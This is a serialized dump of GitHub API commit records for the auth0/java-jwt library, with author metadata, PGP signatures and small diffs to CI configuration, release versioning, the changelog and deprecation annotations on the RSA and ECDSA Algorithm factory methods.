deletionsKufiles]}(jG  (fe59345e654ee1a2cb66b45ccedfced0d0fea58bfilename.shiprcstatusmodifiedj  Kj  KchangesKblob_urlWhttps://github.com/auth0/java-jwt/blob/32935767d3414d1e91feec41ee69159b3d2524eb/.shiprcraw_urlVhttps://github.com/auth0/java-jwt/raw/32935767d3414d1e91feec41ee69159b3d2524eb/.shiprccontents_urlihttps://api.github.com/repos/auth0/java-jwt/contents/.shiprc?ref=32935767d3414d1e91feec41ee69159b3d2524ebpatchX
  @@ -1,7 +1,7 @@
 {
   "files": {
     "README.md": [],
-    "lib/build.gradle": ["version[[:blank:]]*=[[:blank:]]*{MAJOR}.{MINOR}.{PATCH}"]
+    "lib/build.gradle": ["version = \"{MAJOR}.{MINOR}.{PATCH}\""]
   },
   "prefixVersion": false
 }
\ No newline at end of fileuau(9c708c2ca0a9c7a6ab7b900fcf4292d0654a78ea}(sha(9c708c2ca0a9c7a6ab7b900fcf4292d0654a78eanode_idEC_kwDOAQtL0doAKDljNzA4YzJjYTBhOWM3YTZhYjdiOTAwZmNmNDI5MmQwNjU0YTc4ZWEcommit}(author}(nameFrederik Prijckemailfrederik.prijck@auth0.comdate2022-10-10T19:08:49Zu	committer}(jƀ  GitHubjȀ  noreply@github.comjʀ  2022-10-10T19:08:49ZumessageUpdate config.ymltree}(j  (68f7345b2149abd793a9a787f0f3135a539d5afaurl^https://api.github.com/repos/auth0/java-jwt/git/trees/68f7345b2149abd793a9a787f0f3135a539d5afaujր  `https://api.github.com/repos/auth0/java-jwt/git/commits/9c708c2ca0a9c7a6ab7b900fcf4292d0654a78ea
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJjRG3BCRBK7hj4Ov3rIwAA/wkIAJz5EXm6/WqkLrdwern+YvoF
A8n9bqvwMuujPv5+ACUxV4usS4AFG5JnIPTmg77Zy9+OohwYcz6kixYa8BMXyXOz
IwSZ1UgJPejS4wULVux+FcFVn0istRaaUdX7LUoGcf7nJeexWPISY03o3B4DX+Q7
ZG0OPLV8HM/Pp+/FX5EQUTFa5Pv8sDvZIW8CGR1oegrHbA9EGCktveNR4TzrQWOu
QI+AQ1X0EFnHVYppF6bxF5rvX3k+R0kRnGSXc3+EAfOAU6zrqf3v18d2Lz5mkO6K
c8nhtSMuiMkLXOmxBlO9LUSxIeuVR71JkFmA1knkWqCBsme5tsMT14xtn+a3Tl8=
=IQNm
-----END PGP SIGNATURE-----
payloadtree 68f7345b2149abd793a9a787f0f3135a539d5afa
parent 6621b504aa7a161478f3d0dc9749e9c9aa488176
author Frederik Prijck <frederik.prijck@auth0.com> 1665428929 +0200
committer GitHub <noreply@github.com> 1665428929 +0200

Update config.ymluujր  \https://api.github.com/repos/auth0/java-jwt/commits/9c708c2ca0a9c7a6ab7b900fcf4292d0654a78eahtml_urlQhttps://github.com/auth0/java-jwt/commit/9c708c2ca0a9c7a6ab7b900fcf4292d0654a78eacomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/9c708c2ca0a9c7a6ab7b900fcf4292d0654a78ea/commentsjĀ  }(loginfrederikprijckidJW  j  MDQ6VXNlcjIxNDY5MDM=
avatar_url3https://avatars.githubusercontent.com/u/2146903?v=4gravatar_idh3jր  +https://api.github.com/users/frederikprijckj  !https://github.com/frederikprijck
followers_url5https://api.github.com/users/frederikprijck/followers
following_urlBhttps://api.github.com/users/frederikprijck/following{/other_user}	gists_url;https://api.github.com/users/frederikprijck/gists{/gist_id}starred_urlBhttps://api.github.com/users/frederikprijck/starred{/owner}{/repo}subscriptions_url9https://api.github.com/users/frederikprijck/subscriptionsorganizations_url0https://api.github.com/users/frederikprijck/orgs	repos_url1https://api.github.com/users/frederikprijck/repos
events_url<https://api.github.com/users/frederikprijck/events{/privacy}received_events_url;https://api.github.com/users/frederikprijck/received_eventstypeUser
site_adminuj̀  }(j  web-flowj  J/j  MDQ6VXNlcjE5ODY0NDQ3j  4https://avatars.githubusercontent.com/u/19864447?v=4j  h3jր  %https://api.github.com/users/web-flowj  https://github.com/web-flowj  /https://api.github.com/users/web-flow/followersj  <https://api.github.com/users/web-flow/following{/other_user}j  5https://api.github.com/users/web-flow/gists{/gist_id}j  <https://api.github.com/users/web-flow/starred{/owner}{/repo}j  3https://api.github.com/users/web-flow/subscriptionsj  *https://api.github.com/users/web-flow/orgsj  +https://api.github.com/users/web-flow/reposj   6https://api.github.com/users/web-flow/events{/privacy}j  5https://api.github.com/users/web-flow/received_eventsj  Userj  uparents]}(j  (6621b504aa7a161478f3d0dc9749e9c9aa488176jր  \https://api.github.com/repos/auth0/java-jwt/commits/6621b504aa7a161478f3d0dc9749e9c9aa488176j  Qhttps://github.com/auth0/java-jwt/commit/6621b504aa7a161478f3d0dc9749e9c9aa488176uastats}(totalK	additionsK	deletionsKufiles]}(j  (505c6f70c301d0700ee878e7e8900b4960cc7483filename.circleci/config.ymlstatusmodifiedj   Kj!  KchangesKblob_urlfhttps://github.com/auth0/java-jwt/blob/9c708c2ca0a9c7a6ab7b900fcf4292d0654a78ea/.circleci%2Fconfig.ymlraw_urlehttps://github.com/auth0/java-jwt/raw/9c708c2ca0a9c7a6ab7b900fcf4292d0654a78ea/.circleci%2Fconfig.ymlcontents_urlxhttps://api.github.com/repos/auth0/java-jwt/contents/.circleci%2Fconfig.yml?ref=9c708c2ca0a9c7a6ab7b900fcf4292d0654a78eapatchXJ  @@ -1,6 +1,6 @@
 version: 2.1
 orbs:
-  ship: auth0/ship@0.7.1
+  ship: auth0/ship@dev:a88c4d7
   codecov: codecov/codecov@3
 
 commands:
@@ -66,6 +66,7 @@ workflows:
             branches:
               only:
                 - master
+                - automated-release
           requires:
             - build
   # api-diff:uau(7a520bc4dfb78f75d4ee246ff565937c79408eec}(sha(7a520bc4dfb78f75d4ee246ff565937c79408eecnode_idEC_kwDOAQtL0doAKDdhNTIwYmM0ZGZiNzhmNzVkNGVlMjQ2ZmY1NjU5MzdjNzk0MDhlZWMcommit}(author}(name	poovamrajemailpoovamraj@gmail.comdate2022-03-13T17:01:34Zu	committer}(j=  	poovamrajj?  poovamraj@gmail.comjA  2022-03-14T11:08:22Zumessage?Remove deprecation notice for single key algorithm constructiontree}(j5  (1be5806045e2eecee4e0ffe14dfb38ea22330f9burl^https://api.github.com/repos/auth0/java-jwt/git/trees/1be5806045e2eecee4e0ffe14dfb38ea22330f9bujM  `https://api.github.com/repos/auth0/java-jwt/git/commits/7a520bc4dfb78f75d4ee246ff565937c79408eec
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuujM  \https://api.github.com/repos/auth0/java-jwt/commits/7a520bc4dfb78f75d4ee246ff565937c79408eechtml_urlQhttps://github.com/auth0/java-jwt/commit/7a520bc4dfb78f75d4ee246ff565937c79408eeccomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/7a520bc4dfb78f75d4ee246ff565937c79408eec/commentsj;  }(login	poovamrajidJ j7  MDQ6VXNlcjE1OTEwNDI1
avatar_url4https://avatars.githubusercontent.com/u/15910425?v=4gravatar_idh3jM  &https://api.github.com/users/poovamrajjY  https://github.com/poovamraj
followers_url0https://api.github.com/users/poovamraj/followers
following_url=https://api.github.com/users/poovamraj/following{/other_user}	gists_url6https://api.github.com/users/poovamraj/gists{/gist_id}starred_url=https://api.github.com/users/poovamraj/starred{/owner}{/repo}subscriptions_url4https://api.github.com/users/poovamraj/subscriptionsorganizations_url+https://api.github.com/users/poovamraj/orgs	repos_url,https://api.github.com/users/poovamraj/repos
events_url7https://api.github.com/users/poovamraj/events{/privacy}received_events_url6https://api.github.com/users/poovamraj/received_eventstypeUser
site_adminujC  }(j^  	poovamrajj`  J j7  MDQ6VXNlcjE1OTEwNDI1jb  4https://avatars.githubusercontent.com/u/15910425?v=4jd  h3jM  &https://api.github.com/users/poovamrajjY  https://github.com/poovamrajjg  0https://api.github.com/users/poovamraj/followersji  =https://api.github.com/users/poovamraj/following{/other_user}jk  6https://api.github.com/users/poovamraj/gists{/gist_id}jm  =https://api.github.com/users/poovamraj/starred{/owner}{/repo}jo  4https://api.github.com/users/poovamraj/subscriptionsjq  +https://api.github.com/users/poovamraj/orgsjs  ,https://api.github.com/users/poovamraj/reposju  7https://api.github.com/users/poovamraj/events{/privacy}jw  6https://api.github.com/users/poovamraj/received_eventsjy  Userj{  uparents]}(j5  (22f31476fbaf2526412c88e9d9e65d058103d0a8jM  \https://api.github.com/repos/auth0/java-jwt/commits/22f31476fbaf2526412c88e9d9e65d058103d0a8jY  Qhttps://github.com/auth0/java-jwt/commit/22f31476fbaf2526412c88e9d9e65d058103d0a8uastats}(totalK	additionsK 	deletionsKufiles]}(j5  (6fec5b71842936d692b6c1fbe7ae62fab4a308e6filename9lib/src/main/java/com/auth0/jwt/algorithms/Algorithm.javastatusmodifiedj  K j  KchangesKblob_urlhttps://github.com/auth0/java-jwt/blob/7a520bc4dfb78f75d4ee246ff565937c79408eec/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FAlgorithm.javaraw_urlhttps://github.com/auth0/java-jwt/raw/7a520bc4dfb78f75d4ee246ff565937c79408eec/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FAlgorithm.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FAlgorithm.java?ref=7a520bc4dfb78f75d4ee246ff565937c79408eecpatchX  @@ -48,9 +48,7 @@ public static Algorithm RSA256(RSAPublicKey publicKey, RSAPrivateKey privateKey)
      * @param key the key to use in the verify or signing instance.
      * @return a valid RSA256 Algorithm.
      * @throws IllegalArgumentException if the Key Provider is null.
-     * @deprecated use {@link #RSA256(RSAPublicKey, RSAPrivateKey)} or {@link #RSA256(RSAKeyProvider)}
      */
-    @Deprecated
     public static Algorithm RSA256(RSAKey key) throws IllegalArgumentException {
         RSAPublicKey publicKey = key instanceof RSAPublicKey ? (RSAPublicKey) key : null;
         RSAPrivateKey privateKey = key instanceof RSAPrivateKey ? (RSAPrivateKey) key : null;
@@ -86,9 +84,7 @@ public static Algorithm RSA384(RSAPublicKey publicKey, RSAPrivateKey privateKey)
      * @param key the key to use in the verify or signing instance.
      * @return a valid RSA384 Algorithm.
      * @throws IllegalArgumentException if the provided Key is null.
-     * @deprecated use {@link #RSA384(RSAPublicKey, RSAPrivateKey)} or {@link #RSA384(RSAKeyProvider)}
      */
-    @Deprecated
     public static Algorithm RSA384(RSAKey key) throws IllegalArgumentException {
         RSAPublicKey publicKey = key instanceof RSAPublicKey ? (RSAPublicKey) key : null;
         RSAPrivateKey privateKey = key instanceof RSAPrivateKey ? (RSAPrivateKey) key : null;
@@ -124,9 +120,7 @@ public static Algorithm RSA512(RSAPublicKey publicKey, RSAPrivateKey privateKey)
      * @param key the key to use in the verify or signing instance.
      * @return a valid RSA512 Algorithm.
      * @throws IllegalArgumentException if the provided Key is null.
-     * @deprecated use {@link #RSA512(RSAPublicKey, RSAPrivateKey)} or {@link #RSA512(RSAKeyProvider)}
      */
-    @Deprecated
     public static Algorithm RSA512(RSAKey key) throws IllegalArgumentException {
         RSAPublicKey publicKey = key instanceof RSAPublicKey ? (RSAPublicKey) key : null;
         RSAPrivateKey privateKey = key instanceof RSAPrivateKey ? (RSAPrivateKey) key : null;
@@ -253,9 +247,7 @@ public static Algorithm ECDSA256(ECPublicKey publicKey, ECPrivateKey privateKey)
      * @param key the key to use in the verify or signing instance.
      * @return a valid ECDSA256 Algorithm.
      * @throws IllegalArgumentException if the provided Key is null.
-     * @deprecated use {@link #ECDSA256(ECPublicKey, ECPrivateKey)} or {@link #ECDSA256(ECDSAKeyProvider)}
      */
-    @Deprecated
     public static Algorithm ECDSA256(ECKey key) throws IllegalArgumentException {
         ECPublicKey publicKey = key instanceof ECPublicKey ? (ECPublicKey) key : null;
         ECPrivateKey privateKey = key instanceof ECPrivateKey ? (ECPrivateKey) key : null;
@@ -291,9 +283,7 @@ public static Algorithm ECDSA384(ECPublicKey publicKey, ECPrivateKey privateKey)
      * @param key the key to use in the verify or signing instance.
      * @return a valid ECDSA384 Algorithm.
      * @throws IllegalArgumentException if the provided Key is null.
-     * @deprecated use {@link #ECDSA384(ECPublicKey, ECPrivateKey)} or {@link #ECDSA384(ECDSAKeyProvider)}
      */
-    @Deprecated
     public static Algorithm ECDSA384(ECKey key) throws IllegalArgumentException {
         ECPublicKey publicKey = key instanceof ECPublicKey ? (ECPublicKey) key : null;
         ECPrivateKey privateKey = key instanceof ECPrivateKey ? (ECPrivateKey) key : null;
@@ -329,9 +319,7 @@ public static Algorithm ECDSA512(ECPublicKey publicKey, ECPrivateKey privateKey)
      * @param key the key to use in the verify or signing instance.
      * @return a valid ECDSA512 Algorithm.
      * @throws IllegalArgumentException if the provided Key is null.
-     * @deprecated use {@link #ECDSA512(ECPublicKey, ECPrivateKey)} or {@link #ECDSA512(ECDSAKeyProvider)}
      */
-    @Deprecated
     public static Algorithm ECDSA512(ECKey key) throws IllegalArgumentException {
         ECPublicKey publicKey = key instanceof ECPublicKey ? (ECPublicKey) key : null;
         ECPrivateKey privateKey = key instanceof ECPrivateKey ? (ECPrivateKey) key : null;uau(4cf05e912364a82c34b36fe9c21beafd2ee83e10}(sha(4cf05e912364a82c34b36fe9c21beafd2ee83e10node_idEC_kwDOAQtL0doAKDRjZjA1ZTkxMjM2NGE4MmMzNGIzNmZlOWMyMWJlYWZkMmVlODNlMTAcommit}(author}(nameJim Andersonemailjimranderson@gmail.comdate2022-10-24T18:11:23Zu	committer}(j  Jim Andersonj  jimranderson@gmail.comj  2022-10-24T18:11:23Zumessage%Update to the latest ship orb versiontree}(j  (17eb670ae6538e05373c69356c235057f732a2f4url^https://api.github.com/repos/auth0/java-jwt/git/trees/17eb670ae6538e05373c69356c235057f732a2f4uj  `https://api.github.com/repos/auth0/java-jwt/git/commits/4cf05e912364a82c34b36fe9c21beafd2ee83e10
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuuj  \https://api.github.com/repos/auth0/java-jwt/commits/4cf05e912364a82c34b36fe9c21beafd2ee83e10html_urlQhttps://github.com/auth0/java-jwt/commit/4cf05e912364a82c34b36fe9c21beafd2ee83e10comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/4cf05e912364a82c34b36fe9c21beafd2ee83e10/commentsj  }(login
jimmyjamesidJ7 j  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3j  'https://api.github.com/users/jimmyjamesj΁  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminuj  }(jӁ  
jimmyjamesjՁ  J7 j  MDQ6VXNlcjI3NjIyNQ==jׁ  2https://avatars.githubusercontent.com/u/276225?v=4jف  h3j  'https://api.github.com/users/jimmyjamesj΁  https://github.com/jimmyjamesj܁  1https://api.github.com/users/jimmyjames/followersjށ  >https://api.github.com/users/jimmyjames/following{/other_user}j  7https://api.github.com/users/jimmyjames/gists{/gist_id}j  >https://api.github.com/users/jimmyjames/starred{/owner}{/repo}j  5https://api.github.com/users/jimmyjames/subscriptionsj  ,https://api.github.com/users/jimmyjames/orgsj  -https://api.github.com/users/jimmyjames/reposj  8https://api.github.com/users/jimmyjames/events{/privacy}j  7https://api.github.com/users/jimmyjames/received_eventsj  Userj  uparents]}(j  (8eaa95da4d6db9d613e19026437d1b405d7c175fj  \https://api.github.com/repos/auth0/java-jwt/commits/8eaa95da4d6db9d613e19026437d1b405d7c175fj΁  Qhttps://github.com/auth0/java-jwt/commit/8eaa95da4d6db9d613e19026437d1b405d7c175fuastats}(totalK	additionsK	deletionsKufiles]}(j  (a2ad05168da48dfd7667c43b6b87479a5ee45edffilename.circleci/config.ymlstatusmodifiedj
  Kj  KchangesKblob_urlfhttps://github.com/auth0/java-jwt/blob/4cf05e912364a82c34b36fe9c21beafd2ee83e10/.circleci%2Fconfig.ymlraw_urlehttps://github.com/auth0/java-jwt/raw/4cf05e912364a82c34b36fe9c21beafd2ee83e10/.circleci%2Fconfig.ymlcontents_urlxhttps://api.github.com/repos/auth0/java-jwt/contents/.circleci%2Fconfig.yml?ref=4cf05e912364a82c34b36fe9c21beafd2ee83e10patch@@ -1,6 +1,6 @@
 version: 2.1
 orbs:
-  ship: auth0/ship@0.7.2
+  ship: auth0/ship@0
   codecov: codecov/codecov@3
 
 commands:uau(245c019bd20bb479b68f220d576e5ad78cae9779}(sha(245c019bd20bb479b68f220d576e5ad78cae9779node_idEC_kwDOAQtL0doAKDI0NWMwMTliZDIwYmI0NzliNjhmMjIwZDU3NmU1YWQ3OGNhZTk3Nzkcommit}(author}(nameFrederik Prijckemailfrederik.prijck@auth0.comdate2022-10-10T19:23:39Zu	committer}(j'  GitHubj)  noreply@github.comj+  2022-10-10T19:23:39ZumessageUpdate config.ymltree}(j  (e794895dd568d9d63aada5c1cb0cc1a06320520furl^https://api.github.com/repos/auth0/java-jwt/git/trees/e794895dd568d9d63aada5c1cb0cc1a06320520fuj7  `https://api.github.com/repos/auth0/java-jwt/git/commits/245c019bd20bb479b68f220d576e5ad78cae9779
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJjRHE7CRBK7hj4Ov3rIwAARpUIAJkR6VwppGCYiczXAjfUqFaH
TaVBGxyjmW/H+m7pQWh0snASxCAsSPHwcAXfwMZHfcE06t80IeKOUqGx55dkBFRp
W8Gj0DBVaoY35FUL8VxSwOFnFJ8ceC5zhnI5TIYY44hWRi5K2KHtKo8DP1mSLL2S
MtVxC1cHlljE4MHs8IoTZZXcslnj3DQ3QqiCBOdhO9G+89Xya7wAyMCzJW4Cdq05
hFX4B0pdovpLKluiXPL4N4s95vFxAcDHPlHCA0eB2sSwLLH3CEfIty5nMh4S1td2
njnjioV2+Kb4/1XQZvvOPhsxOEBRtg+Q/PtrHkAQjWX7m/l4X2miwv68cH+0KiA=
=nGxT
-----END PGP SIGNATURE-----
payloadtree e794895dd568d9d63aada5c1cb0cc1a06320520f
parent 7cac89a50bafa65cafebbc919d8b18616b173853
author Frederik Prijck <frederik.prijck@auth0.com> 1665429819 +0200
committer GitHub <noreply@github.com> 1665429819 +0200

Update config.ymluuj7  \https://api.github.com/repos/auth0/java-jwt/commits/245c019bd20bb479b68f220d576e5ad78cae9779html_urlQhttps://github.com/auth0/java-jwt/commit/245c019bd20bb479b68f220d576e5ad78cae9779comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/245c019bd20bb479b68f220d576e5ad78cae9779/commentsj%  }(loginfrederikprijckidJW  j!  MDQ6VXNlcjIxNDY5MDM=
avatar_url3https://avatars.githubusercontent.com/u/2146903?v=4gravatar_idh3j7  +https://api.github.com/users/frederikprijckjE  !https://github.com/frederikprijck
followers_url5https://api.github.com/users/frederikprijck/followers
following_urlBhttps://api.github.com/users/frederikprijck/following{/other_user}	gists_url;https://api.github.com/users/frederikprijck/gists{/gist_id}starred_urlBhttps://api.github.com/users/frederikprijck/starred{/owner}{/repo}subscriptions_url9https://api.github.com/users/frederikprijck/subscriptionsorganizations_url0https://api.github.com/users/frederikprijck/orgs	repos_url1https://api.github.com/users/frederikprijck/repos
events_url<https://api.github.com/users/frederikprijck/events{/privacy}received_events_url;https://api.github.com/users/frederikprijck/received_eventstypeUser
site_adminuj-  }(jJ  web-flowjL  J/j!  MDQ6VXNlcjE5ODY0NDQ3jN  4https://avatars.githubusercontent.com/u/19864447?v=4jP  h3j7  %https://api.github.com/users/web-flowjE  https://github.com/web-flowjS  /https://api.github.com/users/web-flow/followersjU  <https://api.github.com/users/web-flow/following{/other_user}jW  5https://api.github.com/users/web-flow/gists{/gist_id}jY  <https://api.github.com/users/web-flow/starred{/owner}{/repo}j[  3https://api.github.com/users/web-flow/subscriptionsj]  *https://api.github.com/users/web-flow/orgsj_  +https://api.github.com/users/web-flow/reposja  6https://api.github.com/users/web-flow/events{/privacy}jc  5https://api.github.com/users/web-flow/received_eventsje  Userjg  uparents]}(j  (7cac89a50bafa65cafebbc919d8b18616b173853j7  \https://api.github.com/repos/auth0/java-jwt/commits/7cac89a50bafa65cafebbc919d8b18616b173853jE  Qhttps://github.com/auth0/java-jwt/commit/7cac89a50bafa65cafebbc919d8b18616b173853uastats}(totalK	additionsK	deletionsKufiles]}(j  (10a1223107c2648168aac856fbb66b0514bed0fefilename.circleci/config.ymlstatusmodifiedj  Kj  KchangesKblob_urlfhttps://github.com/auth0/java-jwt/blob/245c019bd20bb479b68f220d576e5ad78cae9779/.circleci%2Fconfig.ymlraw_urlehttps://github.com/auth0/java-jwt/raw/245c019bd20bb479b68f220d576e5ad78cae9779/.circleci%2Fconfig.ymlcontents_urlxhttps://api.github.com/repos/auth0/java-jwt/contents/.circleci%2Fconfig.yml?ref=245c019bd20bb479b68f220d576e5ad78cae9779patch@@ -1,6 +1,6 @@
 version: 2.1
 orbs:
-  ship: auth0/ship@dev:a88c4d7
+  ship: auth0/ship@dev:9412fdc
   codecov: codecov/codecov@3
 
 commands:uau(dd40410c0f749743de2447f7f6e45c99f0902679}(sha(dd40410c0f749743de2447f7f6e45c99f0902679node_idEC_kwDOAQtL0doAKGRkNDA0MTBjMGY3NDk3NDNkZTI0NDdmN2Y2ZTQ1Yzk5ZjA5MDI2Nzkcommit}(author}(name
Poovamraj T Temailpoovamraj@gmail.comdate2022-03-30T09:05:18Zu	committer}(j  GitHubj  noreply@github.comj  2022-03-30T09:05:18ZumessageIMerge pull request #569 from auth0/perform-release-3.19.1

Release 3.19.1tree}(j  (9e10192a40322f16a715a00e9f9fe5e4867a5938url^https://api.github.com/repos/auth0/java-jwt/git/trees/9e10192a40322f16a715a00e9f9fe5e4867a5938uj  `https://api.github.com/repos/auth0/java-jwt/git/commits/dd40410c0f749743de2447f7f6e45c99f0902679
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJiRB1OCRBK7hj4Ov3rIwAAlgcIAC5oOoExGPRF2XGL7TtU13Zr
XHR1efAB15ECOlpHiDsJ53+lr1CzYlwo60j6+s33f+gY3MtycBaQqX/rSkZIFEeZ
ks1D5E9vex8OEvQUYh8u4zMQ2IPL+NvKVp+IkTXjuVe1i+ftLovaUA1SYUO4Xx0Q
sCvAmPF8cRXcNe7vwPobf1NMeiWO3hsVuTH82VfZ7qIHMJMpsVpDzIViVavc14i+
vJPxELifSLDRvTmIVBqqb0CIY63p28KXXPCM0O7ijftD+Wzch5ghOJMt7wbrDs0i
zLLO2opNw4zOwNPjbd88ysTnVwlQS8M3rdm1BtEmVFy8m6MJKPpYqE+zvqw73NI=
=CavW
-----END PGP SIGNATURE-----
payloadXK  tree 9e10192a40322f16a715a00e9f9fe5e4867a5938
parent dd22f32d5cfcffd6066a5ce949bcc58481cc2f5a
parent 9793478af856483af7b1e75cd8d66096df77b18f
author Poovamraj T T <poovamraj@gmail.com> 1648631118 +0530
committer GitHub <noreply@github.com> 1648631118 +0530

Merge pull request #569 from auth0/perform-release-3.19.1

Release 3.19.1uuj  \https://api.github.com/repos/auth0/java-jwt/commits/dd40410c0f749743de2447f7f6e45c99f0902679html_urlQhttps://github.com/auth0/java-jwt/commit/dd40410c0f749743de2447f7f6e45c99f0902679comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/dd40410c0f749743de2447f7f6e45c99f0902679/commentsj  }(login	poovamrajidJ j  MDQ6VXNlcjE1OTEwNDI1
avatar_url4https://avatars.githubusercontent.com/u/15910425?v=4gravatar_idh3j  &https://api.github.com/users/poovamrajj  https://github.com/poovamraj
followers_url0https://api.github.com/users/poovamraj/followers
following_url=https://api.github.com/users/poovamraj/following{/other_user}	gists_url6https://api.github.com/users/poovamraj/gists{/gist_id}starred_url=https://api.github.com/users/poovamraj/starred{/owner}{/repo}subscriptions_url4https://api.github.com/users/poovamraj/subscriptionsorganizations_url+https://api.github.com/users/poovamraj/orgs	repos_url,https://api.github.com/users/poovamraj/repos
events_url7https://api.github.com/users/poovamraj/events{/privacy}received_events_url6https://api.github.com/users/poovamraj/received_eventstypeUser
site_adminuj  }(j  web-flowjÂ  J/j  MDQ6VXNlcjE5ODY0NDQ3jł  4https://avatars.githubusercontent.com/u/19864447?v=4jǂ  h3j  %https://api.github.com/users/web-flowj  https://github.com/web-flowjʂ  /https://api.github.com/users/web-flow/followersĵ  <https://api.github.com/users/web-flow/following{/other_user}j΂  5https://api.github.com/users/web-flow/gists{/gist_id}jЂ  <https://api.github.com/users/web-flow/starred{/owner}{/repo}j҂  3https://api.github.com/users/web-flow/subscriptionsjԂ  *https://api.github.com/users/web-flow/orgsjւ  +https://api.github.com/users/web-flow/reposj؂  6https://api.github.com/users/web-flow/events{/privacy}jڂ  5https://api.github.com/users/web-flow/received_eventsj܂  Userjނ  uparents](}(j  (dd22f32d5cfcffd6066a5ce949bcc58481cc2f5aj  \https://api.github.com/repos/auth0/java-jwt/commits/dd22f32d5cfcffd6066a5ce949bcc58481cc2f5aj  Qhttps://github.com/auth0/java-jwt/commit/dd22f32d5cfcffd6066a5ce949bcc58481cc2f5au}(j  (9793478af856483af7b1e75cd8d66096df77b18fj  \https://api.github.com/repos/auth0/java-jwt/commits/9793478af856483af7b1e75cd8d66096df77b18fj  Qhttps://github.com/auth0/java-jwt/commit/9793478af856483af7b1e75cd8d66096df77b18fuestats}(totalK
	additionsK	deletionsKufiles](}(j  (a022328d119faa92e3fb0df85df3d6fc14dd0f4dfilenameCHANGELOG.mdstatusmodifiedj  Kj  K changesKblob_url\https://github.com/auth0/java-jwt/blob/dd40410c0f749743de2447f7f6e45c99f0902679/CHANGELOG.mdraw_url[https://github.com/auth0/java-jwt/raw/dd40410c0f749743de2447f7f6e45c99f0902679/CHANGELOG.mdcontents_urlnhttps://api.github.com/repos/auth0/java-jwt/contents/CHANGELOG.md?ref=dd40410c0f749743de2447f7f6e45c99f0902679patchX  @@ -1,5 +1,11 @@
 # Change Log
 
+## [3.19.1](https://github.com/auth0/java-jwt/tree/3.19.1) (2022-03-30)
+[Full Changelog](https://github.com/auth0/java-jwt/compare/3.19.0...3.19.1)
+
+**Security**
+- Security: Bump `jackson-databind` to 2.13.2.2 [\#566](https://github.com/auth0/java-jwt/pull/566) ([evansims](https://github.com/evansims))
+
 ## [3.19.0](https://github.com/auth0/java-jwt/tree/3.19.0) (2022-03-14)
 [Full Changelog](https://github.com/auth0/java-jwt/compare/3.18.3...3.19.0)
 u}(j  (260f6d6e6f1dc383f73e28211a59a1cb6cb2535fj  	README.mdj  modifiedj  Kj  Kj  Kj  Yhttps://github.com/auth0/java-jwt/blob/dd40410c0f749743de2447f7f6e45c99f0902679/README.mdj	  Xhttps://github.com/auth0/java-jwt/raw/dd40410c0f749743de2447f7f6e45c99f0902679/README.mdj  khttps://api.github.com/repos/auth0/java-jwt/contents/README.md?ref=dd40410c0f749743de2447f7f6e45c99f0902679j
  X  @@ -23,14 +23,14 @@ The library is available on both Maven Central and Bintray, and the Javadoc is p
 <dependency>
     <groupId>com.auth0</groupId>
     <artifactId>java-jwt</artifactId>
-    <version>3.19.0</version>
+    <version>3.19.1</version>
 </dependency>
 ```
 
 ### Gradle
 
 ```gradle
-implementation 'com.auth0:java-jwt:3.19.0'
+implementation 'com.auth0:java-jwt:3.19.1'
 ```
 
 ## Available Algorithmsueu(5f7e8fa72882037a2b2ff0cca2af879e35039979}(sha(5f7e8fa72882037a2b2ff0cca2af879e35039979node_idEC_kwDOAQtL0doAKDVmN2U4ZmE3Mjg4MjAzN2EyYjJmZjBjY2EyYWY4NzllMzUwMzk5Nzkcommit}(author}(nameJames Andersonemailjim.anderson@auth0.comdate2022-03-04T21:55:58Zu	committer}(j!  James Andersonj#  jim.anderson@auth0.comj%  2022-03-04T21:55:58Zumessage,[SDK-3149] Add support for java.time.Instanttree}(j  (4e1765c1740651af2d79ba8a06eb2c562d47012curl^https://api.github.com/repos/auth0/java-jwt/git/trees/4e1765c1740651af2d79ba8a06eb2c562d47012cuj1  `https://api.github.com/repos/auth0/java-jwt/git/commits/5f7e8fa72882037a2b2ff0cca2af879e35039979
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuuj1  \https://api.github.com/repos/auth0/java-jwt/commits/5f7e8fa72882037a2b2ff0cca2af879e35039979html_urlQhttps://github.com/auth0/java-jwt/commit/5f7e8fa72882037a2b2ff0cca2af879e35039979comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/5f7e8fa72882037a2b2ff0cca2af879e35039979/commentsj  }(login
jimmyjamesidJ7 j  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3j1  'https://api.github.com/users/jimmyjamesj=  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
